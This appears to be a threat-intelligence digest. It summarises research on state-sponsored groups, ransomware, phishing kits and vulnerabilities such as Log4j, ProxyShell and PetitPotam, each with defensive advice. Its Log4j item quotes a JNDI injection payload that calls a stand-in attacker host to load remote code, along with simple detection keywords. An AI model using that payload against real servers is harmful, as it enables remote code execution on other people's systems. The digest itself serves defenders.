COBALT MIRAGE Conducts Ransomware Operations in U.S.
(published: May 12, 2022)
Secureworks researchers describe campaigns by Iran-sponsored group Cobalt Mirage. These actors are likely part of a larger group, Charming Kitten (Phosphorus, APT35, Cobalt Illusion). In 2022, Cobalt Mirage deployed BitLocker ransomware on a US charity systems, and exfiltrated data from a US local government network. Their ransomware operations appear to be a low-scale, hands-on approach with rare tactics such as sending a ransom note to a local printer. The group utilized its own custom binaries including a Fast Reverse Proxy client (FRPC) written in Go. It also relied on mass scanning for known vulnerabilities (ProxyShell, Log4Shell) and using commodity tools for encryption, internal scanning, and lateral movement.
Analyst Comment: However small your government or NGO organization is, it still needs protection from advanced cyber actors. Keep your system updated, and employ mitigation strategies when updates for critical vulnerabilities are not available.

A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

SocGholish and Zloader – From Fake Updates and Installers to Owning Your Systems
(published: April 25, 2022)
Cybereason researchers have compared trending attacks involving SocGholish and Zloader malware. Both infection chains begin with social engineering and malicious downloads masquerading as legitimate software, and both lead to data theft and possible ransomware installation. SocGholish attacks rely on drive-by downloads followed by user execution of purported browser installer or browser update. The SocGholish JavaScript payload is obfuscated using random variable names and string manipulation. The attacker domain names are written in reverse order with the individual string characters being put at the odd index positions. Zloader infection starts by masquerading as a popular application such as TeamViewer. Zloader acts as information stealer, backdoor, and downloader. Active since 2016, Zloader actively evolves and has acquired detection evasion capabilities, such as excluding its processes from Windows Defender and using living-off-the-land (LotL) executables.
Analyst Comment: All applications should be carefully researched prior to installing on a personal or work machine. Applications that request additional permissions upon installation should be carefully vetted prior to allowing permissions. Additionally, all applications, especially free versions, should only be downloaded from trusted vendors.

Lazarus Targets Chemical Sector
(published: April 14, 2022)
In January 2022, Symantec researchers discovered a new wave of Operation Dream Job. This operation, attributed to the North Korea-sponsored group Lazarus, utilizes fake job offers via professional social media and email communications. With the new wave of attacks, Operation Dream Job switched from targeting the defense, government, and engineering sectors to targeting South Korean organizations operating within the chemical sector. A targeted user executes an HTM file sent via a link. The HTM file is copied to a DLL file to be injected into the legitimate system management software. It downloads and executes the final backdoor: a trojanized version of the Tukaani project LZMA Utils library (XZ Utils) with a malicious export added (AppMgmt). After the initial access, the attackers gain persistence via scheduled tasks, move laterally, and collect credentials and sensitive information.
Analyst Comment: Organizations should train their users to recognize social engineering attacks including those posing as “dream job” proposals. Organizations facing cyberespionage threats should implement a defense-in-depth approach: layering of security mechanisms, redundancy, fail-safe defense processes.

Group-IB researchers have released their analysis of threat actor OldGremlin’s new March 2022 campaign. OldGremlin favored phishing as an initial infection vector, crafting intricate phishing emails that target Russian industries. The threat actors utilized the current war between Russia and Ukraine to add a sense of legitimacy to their emails, with claims that users needed to click a link to register for a new credit card, as current ones would be rendered useless by incoming sanctions.

What’s With The Shared VBA Code Between Transparent Tribe And Other Threat Actors?
(published: February 9, 2022)
A recent discovery has been made that links malicious VBA macro code between multiple groups, namely: Transparent Tribe, Donot Team, SideCopy, Operation Hangover, and SideWinder. These groups operate (or operated) out of South Asia and use a variety of techniques with phishing emails and maldocs to target government and military entities within India and Pakistan. The code is similar enough that it suggests cooperation between APT groups, despite having completely different goals/targets.
Analyst Comment: This research shows that APT groups are sharing TTPs to assist each other, regardless of motive or target. Files that request content be enabled to properly view the document are often signs of a phishing attack. If such a file is sent to you via a known and trusted sender, that individual should be contacted to verify the authenticity of the attachment prior to opening. Thus, any such file attachment sent by unknown senders should be viewed with the utmost scrutiny, and the attachments should be avoided and properly reported to appropriate personnel.

Fake Windows 11 Upgrade Installers Infect You With RedLine Malware
(published: February 9, 2022)
Due to the recent announcement of Windows 11 upgrade availability, an unknown threat actor has registered a domain to trick users into downloading an installer that contains RedLine malware. The site, "windows-upgraded[.]com", is a direct copy of a legitimate Microsoft upgrade portal. Clicking the 'Upgrade Now' button downloads a 734MB ZIP file which contains an excess of dead code; more than likely this is to increase the filesize for bypassing any antivirus scan. RedLine is a well-known infostealer, capable of taking screenshots, using C2 communications, keylogging and more.
Analyst Comment: Any official Windows update or installation files will be downloaded through the operating system directly. If offline updates are necessary, only go through Microsoft sites and subdomains. Never update Windows from a third-party site due to this type of attack.

Earth Lusca Employs Sophisticated Infrastructure, Varied Tools and Techniques
(published: January 17, 2022)
The Earth Lusca threat group is part of the Winnti cluster. It is one of different Chinese groups that share aspects of their tactics, techniques, and procedures (TTPs) including the use of Winnti malware. Earth Lusca were active throughout 2021 committing both cyberespionage operations against government-connected organizations and financially-motivated intrusions targeting gambling and cryptocurrency-related sectors. For intrusion, the group tries different ways in including: spearphishing, watering hole attacks, and exploiting publicly facing servers. Cobalt Strike is one of the group’s preferred post-exploitation tools. It is followed by the use of the BioPass RAT, the Doraemon backdoor, the FunnySwitch backdoor, ShadowPad, and Winnti. The group employs two separate infrastructure clusters, first one is rented Vultr VPS servers used for command-and-control (C2), second one is compromised web servers used to scan for vulnerabilities, tunnel traffic, and Cobalt Strike C2.
Analyst Comment: Earth Lusca often relies on tried-and-true techniques that can be stopped by security best practices, such as avoiding clicking on suspicious email/website links and or reacting on random banners urging to update important public-facing applications. Don’t be tricked to download Adobe Flash update, it was discontinued at the end of December 2020. Administrators should keep their important public-facing applications (such as Microsoft Exchange and Oracle GlassFish Server) updated.

A Deep Dive into DoubleFeature, Equation Group’s Post-Exploitation Dashboard
(published: December 27, 2021)
Check Point researchers have published their findings on the Equation Group’s post-exploitation framework DanderSpritz — a major part of the “Lost in Translation” leak — with a focus on its DoubleFeature logging tool. DoubleFeature (similar to other Equation Group tools) employs several techniques to make forensic analysis difficult: function names are not passed explicitly, but instead a checksum of it; strings used in DoubleFeature are decrypted on-demand per function and they are re-encrypted once function execution completes. DoubleFeature also supports additional obfuscation methods, such as a simple substitution cipher and a stream cipher. In its information gathering DoubleFeature can monitor multiple additional plugins including: KillSuit (also known as KiSu and GrayFish) plugin that is running other plugins, providing a framework for persistence and evasion, MistyVeal (MV) implant verifying that the targeted system is indeed an authentic victim, StraitBizarre (SBZ) cross-platform implant, and UnitedRake remote access tool (UR, EquationDrug).
Analyst Comment: It is important to study Equation Group’s frameworks because some of the leaked exploits were seen exploited by other threat actors. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

Phorpiex botnet is back with a new Twizt: Hijacking Hundreds of crypto transactions
(published: December 16, 2021)
Check Point Research has uncovered a new variant of the Phorpiex botnet named Twizt. Historically, Phorpiex utilized sextortion, ransomware delivery, and cryptocurrency clipping. Twizt however, appears to be primarily focused on stealing cryptocurrency and have stolen half a million dollars since November 2020 in the form of Bitcoin, Ether and ERC20 tokens.The botnet features departure from it’s traditional command and control (C2) infrastructure, opting for peer-to-peer (P2P) communications between infected hosts, eliminating the need for C2 communication as each host can fulfill that role.
Analyst Comment: Bots within a P2P network need to communicate regularly with other bots to receive and share commands. If the infected bots are on a private network, private IP addresses will be used. Therefore, careful monitoring of network traffic will reveal suspicious activity, and a spike in network resource usage as opposed to the detection of C2 IP addresses.

Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

New Malware Hides as Legit Nginx Process on E-Commerce Servers
(published: December 2, 2021)
Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity.

How Phishing Kits Are Enabling A New Legion Of Pro Phishers
(published: December 2, 2021)
Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested.
Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.

Microsoft Exchange Servers Still Vulnerable to ProxyShell Exploit
(published: August 23, 2021)
Despite patches a collection of vulnerabilities (ProxyShell) discovered in Microsoft Exchange being available in the July 2021 update, researchers discovered nearly 2,000 of these vulnerabilities have recently been compromised to host webshells. These webshells allow for attackers to retain backdoor access to compromised servers for further exploitation and lateral movement into the affected organizations. Researchers believe that these attacks may be related to the recent LockFile ransomware attacks.
Analyst Comment: Organizations running Microsoft Exchange are strongly encouraged to prioritize updates to prevent ongoing exploitation of these vulnerabilities. In addition, a thorough investigation to discover and remove planted webshells should be undertaken as the patches will not remove planted webshells in their environments. A threat intelligence platform (TIP) such as Anomali Threatstream can be a valuable tool to assist organizations ingesting current indicators of compromise (IOCs) and determine whether their Exchange instances have been compromised.

Actively Exploited Bug Bypasses Authentication On Millions Of Routers
(published: August 7, 2021)
The ongoing attacks were discovered by Juniper Threat Labs researchers exploiting recently discovered vulnerability CVE-2021-20090. This is a critical path traversal vulnerability in the web interfaces of routers with Arcadyan firmware that could allow unauthenticated remote attackers to bypass authentication. The total number of devices exposed to attacks likely reaches millions of routers. Researchers identified attacks originating from China and are deploying a variant of Mirai botnet on vulnerable routers.
Analyst Comment: Attackers have continuous and automated routines to look out for publicly accessible vulnerable routers and exploit them as soon as the exploit is made public. To reduce the attack surface, routers management console should only be accessible from specific public IP addresses. Also default password and other security policies should be changed to make it more secure.

Windows “PetitPotam” Network Attack – How to Protect Against It
(published: July 21, 2021)
Microsoft has released mitigations for a new Windows vulnerability called PetitPotam. Security researcher, Gillesl Lionel, created a proof-of-concept script that abuses Microsoft’s NT Lan Manager (NTLM) protocol called MS-EFSRPC (encrypting file system remote protocol). PetitPotam can only work if certain system functions that are enabled if the following conditions are met: NTLM authentication is enabled on domain, active directory certificate services (AD CS) is being used, certificate authority web enrollment or certificate enrollment we service are enabled. Exploitation can result in a NTLM relay attack, which is a type of man-in-the-middle attack.
Analyst Comment: Microsoft has provided mitigation steps to this attack which includes disabling NTLM on a potentially affected domain, in addition to others.

UK and Allies Accuse China for a Pervasive Pattern of Hacking, Breaching Microsoft Exchange Servers
(published: July 19, 2021)
On July 19th, 2021, the US, the UK, and other global allies jointly accused China in a pattern of aggressive malicious cyber activity. First, they confirmed that Chinese state-backed actors (previously identified under the group name Hafnium) were responsible for gaining access to computer networks around the world via Microsoft Exchange servers. The attacks took place in early 2021, affecting over a quarter of a million servers worldwide. Additionally, APT31 (Judgement Panda) and APT40 (Kryptonite Panda) were attributed to Chinese Ministry of State Security (MSS), The US Department of Justice (DoJ) has indicted four APT40 members, and the Cybersecurity and Infrastructure Security Agency (CISA) shared indicators of compromise of the historic APT40 activity.
Analyst Comment: Network defense-in-depth and adherence to information security best practices can assist organizations in reducing the risk. Pay special attention to the patch and vulnerability management, protecting credentials, and continuing network hygiene and monitoring. When possible, enforce the principle of least privilege, use segmentation and strict access control measures for critical data. Organisations can use Anomali Match to perform real time forensic analysis for tracking such attacks.

Microsoft Signed a Malicious Netfilter Rootkit
(published: June 25, 2021)
Security researchers recently discovered a malicious netfilter driver that is signed by a valid Microsoft signing certificate. The files were initially thought to be a false positive due to the valid signing, but further inspection revealed that the malicious driver called out to a Chinese IP. Further research has analyzed the malware, dropper, and Command and Control (C2) commands. Microsoft is still investigating this incident, but has clarified that they did approve the signing of the driver.
Analyst Comment: Malware signed by a trusted source is a threat vector that can be easily missed, as organizations may be tempted to not inspect files from a trusted source. It is important for organizations to have network monitoring as part of their defenses. Additionally, the signing certificate used was quite old, so review and/or expiration of old certificates could prevent this malware from running.

Cross-Browser Tracking Vulnerability Tracks You Via Installed Apps
(published: May 14, 2021)
A new method of fingerprinting users has been developed using any browser. Using URL schemes, certain applications can be launched from the browser. With this knowledge, an attacker can flood a client with multiple URL schemes to determine installed applications and create a fingerprint. Google Chrome has certain protections against this attack, but a workaround exists when using the built-in PDF viewer; this resets a flag used for flood protection. The only known protection against scheme flooding is to use browsers across multiple devices.
Analyst Comment: It is critical that the latest security patches be applied as soon as possible to the web browser used by your company. Vulnerabilities are discovered relatively frequently, and it is paramount to install the security patches because the vulnerabilities are often posted to open sources where any malicious actor could attempt to mimic the techniques that are described.

Massive Qlocker Ransomware Attack Uses 7zip to Encrypt QNAP Devices
(published: April 21, 2021)
The ransomware is called Qlocker and began targeting QNAP devices on April 19th, 2021. All victims are told to pay 0.01 Bitcoins, which is approximately $557.74, to get a password for their archived files. While the files are being locked, the Resource Monitor will display numerous '7z' processes which are the 7zip command-line executable.
Analyst Comment: Attackers are using legitimate tools like 7zip to evade detections by traditional antiviruses. EDR solutions can help tracking suspicious command line arguments and process creations to potentially detect such attacks. Customers should use backup solutions to be able recover encrypted files.

Iran’s APT34 Returns with an Updated Arsenal
(published: April 8, 2021)
Check Point Research discovered evidence of a new campaign by the Iranian threat group APT34. The threat group has been actively retooling and updating its payload arsenal to try and avoid detection. They have created several different malware variants whose ultimate purpose remained the same, to gain the initial foothold on the targeted device.
Analyst Comment: Threat actors are always innovating new methods and update tools used to carry out attacks. Always practice Defense in Depth (do not rely on single security mechanisms - security measures should be layered, redundant, and failsafe).

New Wormable Android Malware Spreads by Creating Auto-Replies to Messages in WhatsApp
(published: April 7, 2021)
Check Point Research recently discovered Android malware on Google Play hidden in a fake application that is capable of spreading itself via users’ WhatsApp messages. The malware is capable of automatically replying to victim’s incoming WhatsApp messages with a payload received from a command-and-control (C2) server. This unique method could have enabled threat actors to distribute phishing attacks, spread false information or steal credentials and data from users’ WhatsApp accounts, and more.
Analyst Comment: Users’ personal mobile has many enterprise applications installed like Multifactor Authenticator, Email Client, etc which increases the risk for the enterprise even further. Users should be wary of download links or attachments that they receive via WhatsApp or other messaging apps, even when they appear to come from trusted contacts or messaging groups. The latest security patches should be installed for both applications and the operating system.

The Leap of a Cycldek-Related Threat Actor
(published: April 5, 2021)
A new sophisticated Chinese campaign was observed between June 2020 and January 2021, targeting government, military and other critical industries in Vietnam, and, to lesser extent, in Central Asia and Thailand. This threat actor uses a "DLL side-loading triad" previously mastered by another Chinese group, LuckyMouse: a legitimate executable, a malicious DLL to be sideloaded by it, and an encoded payload, generally dropped from a self-extracting archive. But the code origins of the new malware used on different stages of this campaign point to a different Chinese-speaking group, Cycldek.
Analyst Comment: Malware authors are always innovating new methods of communicating back to the control servers. Always practice Defense in Depth (do not rely on single security mechanisms - security measures should be layered, redundant, and failsafe).

Hancitor’s Use of Cobalt Strike and a Noisy Network Ping Tool
(published: April 1, 2021)
Hancitor is an information stealer and malware downloader used by a threat actor designated as MAN1, Moskalvzapoe or TA511. Initial infection includes target clicking malspam, then clicking on a link in an opened Google Docs page, and finally clicking to enable macros in the downloaded Word document. In recent months, this actor began using a network ping tool to help enumerate the Active Directory (AD) environment of infected hosts. It generates approximately 1.5 GB of Internet Control Message Protocol (ICMP) traffic.
Analyst Comment: Organizations should use email security solutions to block malicious/spam emails. All email attachments should be scanned for malware before they reach the user's inbox. IPS rules need to be configured properly to identify any reconnaissance attempts e.g. port scan to get early indication of potential breach.

Google: This Spectre proof-of-concept shows how dangerous these attacks can be
(published: March 15, 2021)
Google has released a proof of concept (PoC) code to demonstrate the practicality of Spectre side-channel attacks against a browser's JavaScript engine to leak information from its memory. Spectre targeted the process in modern CPUs called speculative execution to leak secrets such as passwords from one site to another. While the PoC demonstrates the JavaScript Spectre attack against Chrome 88's V8 JavaScript engine on an Intel Core i7-6500U CPU on Linux, Google notes it can easily be tweaked for other CPUs, browser versions and operating systems.
Analyst Comment: As the density of microchip manufacturing continues to increase, side-channel attacks are likely to be found across many architectures and are difficult (and in some cases impossible) to remediate in software. The PoC of the practicality of performing such an attack using javascript emphasises that developers of both software and hardware be aware of these types of attacks and the means by which they can be used to invalidate existing security controls.

Threat Assessment: DearCry Ransomware
(published: March 12, 2021)
A new ransomware strain is being used by actors to attack unpatched Microsoft Exchange servers. Microsoft released patches for four vulnerabilities that are being exploited in the wild. The initial round of attacks included installation of web shells onto affected servers that could be used to infect additional computers. While the initial attack appears to have been done by sophisticated actors, the ease and publicity around these vulnerabilities has led to a diverse group of actors all attempting to compromise these servers.
Analyst Comment: Patch and asset management are a critical and often under-resourced aspect of defense in depth. As this particular set of vulnerabilities and attacks are against locally hosted Exchange servers, organization may want to assess whether a hosted solution may make sense from a risk standpoint

Grindr Fixed a Bug Allowing Full Takeover of Any User Account
(published: October 3, 2020)
Grindr, an LGBT networking platform, has fixed a vulnerability that could allow any account to be hijacked. The vulnerability was identified by security researcher Wassime Bouimadaghene, finding that the reset token was leaked in the page’s response content. This would enable anyone who knows a users’ email address to generate the reset link that is sent via email. Gaining account access would enable an attacker to obtain sensitive information such as pictures stored on the app (including NSFW), HIV status, location, and messages. Grindr has announced a bug bounty program.
Recommendation: If your account has been breached, you can reset the password using the reset link sent to the associated email address.

XDSpy: Stealing Government Secrets Since 2011
(published: October 2, 2020)
Security researchers from ESET have identified a new Advanced Persistent Threat (APT) group that has been targeting Eastern European governments and businesses for up to nine years. Dubbed “XDSpy,” ESET was unable to identify any code similarity or shared infrastructure with other known groups and believe the group operates in a UTC+2 or UTC+3 time zone, Monday to Friday. XDSpy mainly uses spearphishing emails with some variance, some will contain attachments or links to malicious files, usually a ZIP or RAR archive. When the malicious file has infected a victim, it will install “XDDown,” a downloader that will begin to install additional plugins that will begin to exfiltrate files, passwords, and nearby SSIDs. XDSpy has also been observed using “CVE-2020-0968” (Internet Explorer legacy JavaScript vulnerability) bearing some resemblance to DarkHotel campaigns and Operation Domino, ESET do not believe these campaigns are related but may be using the same exploit broker.
Recommendation: Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. Furthermore, all employees should be educated on the risks of spearphishing and how to identify such attempts.

China’s ‘Hybrid War’: Beijing’s Mass Surveillance of Australia and the World for Secrets and Scandal
(published: September 14, 2020)
A database containing 2.4 million people has been leaked from a Shenzhen company, Zhenhua Data, believed to have ties to the Chinese intelligence service. The database contains personal information on over 35,000 Australians and prominent figures, and 52,000 Americans. This includes addresses, bank information, birth dates, criminal records, job applications, psychological profiles, and social media. Politicians, lawyers, journalists, military officers, media figures, and Natalie Imbruglia are among the records of Australians contained in the database. While a lot of the information is public, there is also non-public information contributing to claims that China is developing a mass surveillance system.
Recommendation: Users should always remain vigilant about the information they are putting out into the public, and avoid posting personal or sensitive information online.

US Criminal Court Hit by Conti Ransomware; Critical Data at Risk
(published: September 11, 2020)
The Fourth District Court of Louisiana, part of the US criminal court system, appears to have become the latest victim of the Conti ransomware. The court's website was attacked and used to steal numerous court documents related to defendants, jurors, and witnesses, and then install the Conti ransomware. Evidence of the data theft was posted to the dark web. Analysis of the malware by Emsisoft’s threat analyst, Brett Callow, indicates that the ransomware deployed in the attack was Conti, which has code similarity to another ransomware strain, Ryuk. The Conti group, believed to be behind this ransomware as a service, is sophisticated and due to the fact that they receive a large portion of the ransoms paid, they are motivated to avoid detections and continue to develop advanced attacking tools. This attack also used the Trickbot malware in its exploit chain, similar to that used by Ryuk campaigns.
Recommendation: Defense in Depth, including vulnerability remediation and scanning, monitoring, endpoint protection, backups, etc. is key to thwarting increasingly sophisticated attacks. Ransomware attacks are particularly attractive to attackers due to the fact that each successful ransomware attack allows for multiple streams of income. The attackers can not only extort a ransom to decrypt the victim's files (especially in cases where the victim finds they do not have appropriate disaster recovery plans), but they can also monetize the exfiltrated data directly and/or use the data to aid in future attacks. This technique is increasingly used in supply chain compromises to build difficult to detect spearphishing attacks.

‘Baka’ Javascript Skimmer Identified
(published: September 6, 2020)
Visa have issued a security alert based on identification of a new skimmer, named “Baka”. Based on analysis by Visa Payment Fraud Disruption, the skimmer appears to be more advanced, loading dynamically and using an XOR cipher for obfuscation. The attacks behind Baka are injecting it into checkout pages using a script tag, with the skimming code downloading from the Command and Control (C2) server and executing in memory to steal customer data.
Recommendation: eCommerce site owners must take every step necessary to secure their data and safeguard their payment card information. Visa has also released best practices in the security advisory.

Netwalker Ransomware Hits Argentinian Government, Demands $4 Million
(published: September 6, 2020)
The Argentinian immigration agency, Dirección Nacional de Migaciones suffered a ransomware attack that shut down border crossings. After receiving many tech support calls, the computer networks were shut down to prevent further spread of the ransomware, which led to a cecission in border crossings until systems were up again. The ransomware used in this attack is Netwalker ransomware, that left a ransom note demanding initalling $2 million, however when this wasn’t paid in the first week, the ransom increased to $4 million.
Recommendation: Ransomware can potentially be blocked by using endpoint protection solutions (HIDS). Always keep your important files backed up following the 3-2-1 rule: have at least 3 different copies, on 2 different mediums, with 1 off-site. In the case of ransomware infection, the affected system must be wiped and reformatted. Other devices on the network should be checked for similar infections. Always check for a decryptor before considering payment; avoid payment at all costs. Ransomware should be reported to law enforcement agencies who are doing their best to track these actors and prevent ransom from being a profitable business for cyber criminals.
